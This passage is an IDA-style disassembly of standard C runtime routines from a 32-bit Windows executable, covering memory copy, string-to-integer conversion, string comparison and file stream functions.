		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_40F4DC
		rep movsd
		jmp	off_40F5C8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40F51C:				; DATA XREF: sub_40F480+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_40F4DC
		rep movsd
		jmp	off_40F5C8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_40F540:				; DATA XREF: sub_40F480+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_40F4DC
		rep movsd
		jmp	off_40F5C8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_40F55C	dd offset loc_40F5BF	; DATA XREF: sub_40F480:loc_40F4DCr
		dd offset loc_40F5AC
		dd offset loc_40F5A4
		dd offset loc_40F59C
		dd offset loc_40F594
		dd offset loc_40F58C
		dd offset loc_40F584
		dd offset loc_40F57C
; ---------------------------------------------------------------------------


loc_40F57C:				; CODE XREF: sub_40F480:loc_40F4DCj
					; DATA XREF: sub_40F480+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_40F584:				; CODE XREF: sub_40F480:loc_40F4DCj
					; DATA XREF: sub_40F480+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_40F58C:				; CODE XREF: sub_40F480:loc_40F4DCj
					; DATA XREF: sub_40F480+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_40F594:				; CODE XREF: sub_40F480:loc_40F4DCj
					; DATA XREF: sub_40F480+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_40F59C:				; CODE XREF: sub_40F480:loc_40F4DCj
					; DATA XREF: sub_40F480+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_40F5A4:				; CODE XREF: sub_40F480:loc_40F4DCj
					; DATA XREF: sub_40F480+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_40F5AC:				; CODE XREF: sub_40F480:loc_40F4DCj
					; DATA XREF: sub_40F480+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_40F5BF:				; CODE XREF: sub_40F480:loc_40F4DCj
					; DATA XREF: sub_40F480:off_40F55Co
		jmp	off_40F5C8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_40F5C8	dd offset loc_40F5D8	; DATA XREF: sub_40F480+35r
					; sub_40F480+92r ...
		dd offset loc_40F5E0
		dd offset loc_40F5EC
		dd offset loc_40F600
; ---------------------------------------------------------------------------


loc_40F5D8:				; CODE XREF: sub_40F480+35j
					; sub_40F480+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_40F5E0:				; CODE XREF: sub_40F480+35j
					; sub_40F480+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40F5EC:				; CODE XREF: sub_40F480+35j
					; sub_40F480+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_40F600:				; CODE XREF: sub_40F480+35j
					; sub_40F480+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40F618:				; CODE XREF: sub_40F480+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_40F64C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_40F640
		std
		rep movsd
		cld
		jmp	off_40F760[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_40F640:				; CODE XREF: sub_40F480+1B1j
					; sub_40F480+208j ...
		neg	ecx
		jmp	off_40F710[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40F64C:				; CODE XREF: sub_40F480+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_40F664
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_40F664+4[eax*4]
; ---------------------------------------------------------------------------


loc_40F664:				; CODE XREF: sub_40F480+1D6j
					; DATA XREF: sub_40F480+1DDr
		jmp	off_40F760[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_40F677+1
		dd offset loc_40F698
; ---------------------------------------------------------------------------
		sal	dh, 40h


loc_40F677:				; DATA XREF: sub_40F480+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_40F640
		std
		rep movsd
		cld
		jmp	off_40F760[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40F698:				; DATA XREF: sub_40F480+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_40F640
		std
		rep movsd
		cld
		jmp	off_40F760[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_40F640
		std
		rep movsd
		cld
		jmp	off_40F760[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_40F714
		dd offset loc_40F71C
		dd offset loc_40F724
		dd offset loc_40F72C
		dd offset loc_40F734
		dd offset loc_40F73C
		dd offset loc_40F744
off_40F710	dd offset loc_40F757	; DATA XREF: sub_40F480+1C2r
; ---------------------------------------------------------------------------


loc_40F714:				; DATA XREF: sub_40F480+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_40F71C:				; DATA XREF: sub_40F480+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_40F724:				; DATA XREF: sub_40F480+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_40F72C:				; DATA XREF: sub_40F480+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_40F734:				; DATA XREF: sub_40F480+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_40F73C:				; DATA XREF: sub_40F480+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_40F744:				; DATA XREF: sub_40F480+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_40F757:				; CODE XREF: sub_40F480+1C2j
					; DATA XREF: sub_40F480:off_40F710o
		jmp	off_40F760[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_40F760	dd offset loc_40F770	; DATA XREF: sub_40F480+1B7r
					; sub_40F480:loc_40F664r ...
		dd offset loc_40F778
		dd offset loc_40F788
		dd offset loc_40F79C
; ---------------------------------------------------------------------------


loc_40F770:				; CODE XREF: sub_40F480+1B7j
					; sub_40F480:loc_40F664j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40F778:				; CODE XREF: sub_40F480+1B7j
					; sub_40F480:loc_40F664j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40F788:				; CODE XREF: sub_40F480+1B7j
					; sub_40F480:loc_40F664j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40F79C:				; CODE XREF: sub_40F480+1B7j
					; sub_40F480:loc_40F664j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_40F480	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F7B5	proc near		; CODE XREF: sub_4026B2+34p
					; sub_4026B2+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_40E894
		pop	ecx
		pop	ecx
		retn
sub_40F7B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F7C3	proc near		; CODE XREF: sub_40F830+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4BB8F8
		call	sub_4142A8
		mov	edx, dword_4BB8F8
		pop	ecx
		mov	ecx, dword_4BB8F4
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_40F822
		push	edx
		call	sub_4142A8
		add	eax, 10h
		push	eax
		push	dword_4BB8F8
		call	sub_414008
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40F805
		retn
; ---------------------------------------------------------------------------


loc_40F805:				; CODE XREF: sub_40F7C3+3Fj
		mov	ecx, dword_4BB8F4
		sub	ecx, dword_4BB8F8
		mov	dword_4BB8F8, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4BB8F4, ecx


loc_40F822:				; CODE XREF: sub_40F7C3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4BB8F4, 4
		retn
sub_40F7C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F830	proc near		; CODE XREF: sub_40279F+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_40F7C3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_40F830	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F842	proc near		; DATA XREF: .packed:0041C010o
		push	80h
		call	sub_40E882
		test	eax, eax
		pop	ecx
		mov	dword_4BB8F8, eax
		jnz	short loc_40F863
		push	18h
		call	sub_410C52
		mov	eax, dword_4BB8F8
		pop	ecx


loc_40F863:				; CODE XREF: sub_40F842+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4BB8F8
		mov	dword_4BB8F4, eax
		retn
sub_40F842	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F871	proc near		; CODE XREF: .packed:00402A7Ep
					; sub_402C55+258p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_40E730
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_414309
		add	esp, 10h
		leave
		retn
sub_40F871	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F8A5	proc near		; CODE XREF: sub_411602+11Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_40F8BC
		add	esp, 10h
		retn
sub_40F8A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F8BC	proc near		; CODE XREF: sub_40F8A5+Ep
					; sub_40FAC4+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_40F8D4:				; CODE XREF: sub_40F8BC+46j
		cmp	dword_424430, 1
		jle	short loc_40F8EC
		movzx	eax, bl
		push	8
		push	eax
		call	sub_414E86
		pop	ecx
		pop	ecx
		jmp	short loc_40F8FB
; ---------------------------------------------------------------------------


loc_40F8EC:				; CODE XREF: sub_40F8BC+1Fj
		mov	ecx, off_424224
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_40F8FB:				; CODE XREF: sub_40F8BC+2Ej
		test	eax, eax
		jz	short loc_40F904
		mov	bl, [esi]
		inc	esi
		jmp	short loc_40F8D4
; ---------------------------------------------------------------------------


loc_40F904:				; CODE XREF: sub_40F8BC+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_40F912
		or	[ebp+arg_C], 2
		jmp	short loc_40F917
; ---------------------------------------------------------------------------


loc_40F912:				; CODE XREF: sub_40F8BC+4Ej
		cmp	bl, 2Bh
		jnz	short loc_40F91D


loc_40F917:				; CODE XREF: sub_40F8BC+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_40F91D:				; CODE XREF: sub_40F8BC+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_40FAB4
		cmp	eax, 1
		jz	loc_40FAB4
		cmp	eax, 24h
		jg	loc_40FAB4
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_40F965
		cmp	bl, 30h
		jz	short loc_40F94F
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_40F981
; ---------------------------------------------------------------------------


loc_40F94F:				; CODE XREF: sub_40F8BC+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_40F962
		cmp	al, 58h
		jz	short loc_40F962
		mov	[ebp+arg_8], 8
		jmp	short loc_40F981
; ---------------------------------------------------------------------------


loc_40F962:				; CODE XREF: sub_40F8BC+97j
					; sub_40F8BC+9Bj
		mov	[ebp+arg_8], ecx


loc_40F965:				; CODE XREF: sub_40F8BC+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_40F981
		cmp	bl, 30h
		jnz	short loc_40F981
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_40F979
		cmp	al, 58h
		jnz	short loc_40F981


loc_40F979:				; CODE XREF: sub_40F8BC+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_40F981:				; CODE XREF: sub_40F8BC+91j
					; sub_40F8BC+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_40F991:				; CODE XREF: sub_40F8BC+16Cj
		cmp	dword_424430, 1
		movzx	esi, bl
		jle	short loc_40F9A9
		push	4
		push	esi
		call	sub_414E86
		pop	ecx
		pop	ecx
		jmp	short loc_40F9B4
; ---------------------------------------------------------------------------


loc_40F9A9:				; CODE XREF: sub_40F8BC+DFj
		mov	eax, off_424224
		mov	al, [eax+esi*2]
		and	eax, 4


loc_40F9B4:				; CODE XREF: sub_40F8BC+EBj
		test	eax, eax
		jz	short loc_40F9C0
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_40F9F2
; ---------------------------------------------------------------------------


loc_40F9C0:				; CODE XREF: sub_40F8BC+FAj
		cmp	dword_424430, 1
		jle	short loc_40F9D4
		push	edi
		push	esi
		call	sub_414E86
		pop	ecx
		pop	ecx
		jmp	short loc_40F9DF
; ---------------------------------------------------------------------------


loc_40F9D4:				; CODE XREF: sub_40F8BC+10Bj
		mov	eax, off_424224
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_40F9DF:				; CODE XREF: sub_40F8BC+116j
		test	eax, eax
		jz	short loc_40FA2D
		movsx	eax, bl
		push	eax
		call	sub_414DBA
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_40F9F2:				; CODE XREF: sub_40F8BC+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_40FA2D
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_40FA17
		jnz	short loc_40FA11
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_40FA17


loc_40FA11:				; CODE XREF: sub_40F8BC+147j
		or	[ebp+arg_C], 4
		jmp	short loc_40FA20
; ---------------------------------------------------------------------------


loc_40FA17:				; CODE XREF: sub_40F8BC+145j
					; sub_40F8BC+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_40FA20:				; CODE XREF: sub_40F8BC+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_40F991
; ---------------------------------------------------------------------------


loc_40FA2D:				; CODE XREF: sub_40F8BC+125j
					; sub_40F8BC+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_40FA4B
		test	edx, edx
		jz	short loc_40FA45
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_40FA45:				; CODE XREF: sub_40F8BC+181j
		and	[ebp+var_8], 0
		jmp	short loc_40FA98
; ---------------------------------------------------------------------------


loc_40FA4B:				; CODE XREF: sub_40F8BC+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_40FA71
		test	cl, 1
		jnz	short loc_40FA98
		and	ecx, 2
		jz	short loc_40FA68
		cmp	[ebp+var_8], 80000000h
		ja	short loc_40FA71


loc_40FA68:				; CODE XREF: sub_40F8BC+1A1j
		test	ecx, ecx
		jnz	short loc_40FA98
		cmp	[ebp+var_8], eax
		jbe	short loc_40FA98


loc_40FA71:				; CODE XREF: sub_40F8BC+197j
					; sub_40F8BC+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4BA284, 22h
		jz	short loc_40FA87
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_40FA98
; ---------------------------------------------------------------------------


loc_40FA87:				; CODE XREF: sub_40F8BC+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_40FA98:				; CODE XREF: sub_40F8BC+18Dj
					; sub_40F8BC+19Cj ...
		test	edx, edx
		jz	short loc_40FAA1
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_40FAA1:				; CODE XREF: sub_40F8BC+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_40FAAF
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_40FAAF:				; CODE XREF: sub_40F8BC+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_40FABF
; ---------------------------------------------------------------------------


loc_40FAB4:				; CODE XREF: sub_40F8BC+66j
					; sub_40F8BC+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_40FABD
		mov	[eax], edi


loc_40FABD:				; CODE XREF: sub_40F8BC+1FDj
		xor	eax, eax


loc_40FABF:				; CODE XREF: sub_40F8BC+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F8BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FAC4	proc near		; CODE XREF: sub_402C55+4B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_40F8BC
		add	esp, 10h
		retn
sub_40FAC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FADB	proc near		; CODE XREF: sub_40FB66+4p
					; sub_417AF5+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_40FAE3:				; CODE XREF: sub_40FADB+34j
		cmp	dword_424430, 1
		jle	short loc_40FAFB
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_414E86
		pop	ecx
		pop	ecx
		jmp	short loc_40FB0A
; ---------------------------------------------------------------------------


loc_40FAFB:				; CODE XREF: sub_40FADB+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_424224
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_40FB0A:				; CODE XREF: sub_40FADB+1Ej
		test	eax, eax
		jz	short loc_40FB11
		inc	edi
		jmp	short loc_40FAE3
; ---------------------------------------------------------------------------


loc_40FB11:				; CODE XREF: sub_40FADB+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_40FB21
		cmp	esi, 2Bh
		jnz	short loc_40FB25


loc_40FB21:				; CODE XREF: sub_40FADB+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_40FB25:				; CODE XREF: sub_40FADB+44j
		xor	ebx, ebx


loc_40FB27:				; CODE XREF: sub_40FADB+7Bj
		cmp	dword_424430, 1
		jle	short loc_40FB3C
		push	4
		push	esi
		call	sub_414E86
		pop	ecx
		pop	ecx
		jmp	short loc_40FB47
; ---------------------------------------------------------------------------


loc_40FB3C:				; CODE XREF: sub_40FADB+53j
		mov	eax, off_424224
		mov	al, [eax+esi*2]
		and	eax, 4


loc_40FB47:				; CODE XREF: sub_40FADB+5Fj
		test	eax, eax
		jz	short loc_40FB58
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_40FB27
; ---------------------------------------------------------------------------


loc_40FB58:				; CODE XREF: sub_40FADB+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_40FB61
		neg	eax


loc_40FB61:				; CODE XREF: sub_40FADB+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40FADB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FB66	proc near		; CODE XREF: sub_402C55+468p
					; sub_402C55+477p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_40FADB
		pop	ecx
		retn
sub_40FB66	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40FB80	proc near		; CODE XREF: sub_402C55+269p
					; sub_402C55+28Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_40FBCC


loc_40FB90:				; CODE XREF: sub_40FB80+3Cj
					; sub_40FB80+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_40FBC4
		or	al, al
		jz	short loc_40FBC0
		cmp	ah, [ecx+1]
		jnz	short loc_40FBC4
		or	ah, ah
		jz	short loc_40FBC0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_40FBC4
		or	al, al
		jz	short loc_40FBC0
		cmp	ah, [ecx+3]
		jnz	short loc_40FBC4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_40FB90
		mov	edi, edi


loc_40FBC0:				; CODE XREF: sub_40FB80+18j
					; sub_40FB80+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40FBC4:				; CODE XREF: sub_40FB80+14j
					; sub_40FB80+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40FBCC:				; CODE XREF: sub_40FB80+Ej
		test	edx, 1
		jz	short loc_40FBE8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_40FBC4
		inc	ecx
		or	al, al
		jz	short loc_40FBC0
		test	edx, 2
		jz	short loc_40FB90


loc_40FBE8:				; CODE XREF: sub_40FB80+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_40FBC4
		or	al, al
		jz	short loc_40FBC0
		cmp	ah, [ecx+1]
		jnz	short loc_40FBC4
		or	ah, ah
		jz	short loc_40FBC0
		add	ecx, 2
		jmp	short loc_40FB90
sub_40FB80	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FC04	proc near		; CODE XREF: sub_4032AB+A8p
					; sub_405076+2C4p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_40FC19
		or	eax, 0FFFFFFFFh
		jmp	short loc_40FC53
; ---------------------------------------------------------------------------


loc_40FC19:				; CODE XREF: sub_40FC04+Ej
		test	al, 83h
		jz	short loc_40FC51
		push	esi
		call	sub_415014
		push	esi
		mov	edi, eax
		call	sub_414FAE
		push	dword ptr [esi+10h]
		call	sub_414EFB
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_40FC3F
		or	edi, 0FFFFFFFFh
		jmp	short loc_40FC51
; ---------------------------------------------------------------------------


loc_40FC3F:				; CODE XREF: sub_40FC04+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_40FC51
		push	eax
		call	sub_40ECAF
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_40FC51:				; CODE XREF: sub_40FC04+17j
					; sub_40FC04+39j ...
		mov	eax, edi


loc_40FC53:				; CODE XREF: sub_40FC04+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_40FC04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FC5A	proc near		; CODE XREF: sub_4032AB+7Ep
					; sub_405076+1B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_40FC7E
		xor	eax, eax
		jmp	loc_40FD27
; ---------------------------------------------------------------------------


loc_40FC7E:				; CODE XREF: sub_40FC5A+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_40FC91
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_40FC9D
; ---------------------------------------------------------------------------


loc_40FC91:				; CODE XREF: sub_40FC5A+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_40FC9D
; ---------------------------------------------------------------------------


loc_40FC9A:				; CODE XREF: sub_40FC5A+C4j
		mov	ecx, [ebp+arg_0]


loc_40FC9D:				; CODE XREF: sub_40FC5A+35j
					; sub_40FC5A+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_40FCCF
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40FCCF
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_40FCB4
		mov	edi, eax


loc_40FCB4:				; CODE XREF: sub_40FC5A+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_40E940
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_40FD1A
; ---------------------------------------------------------------------------


loc_40FCCF:				; CODE XREF: sub_40FC5A+49j
					; sub_40FC5A+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_40FD02
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_40FCE5
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_40FCE5:				; CODE XREF: sub_40FC5A+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_4151BF
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40FD2C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40FD32
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_40FD1A
; ---------------------------------------------------------------------------


loc_40FD02:				; CODE XREF: sub_40FC5A+78j
		push	esi
		call	sub_4150E6
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_40FD36
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_40FD1A:				; CODE XREF: sub_40FC5A+73j
					; sub_40FC5A+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_40FC9A
		mov	eax, [ebp+arg_8]


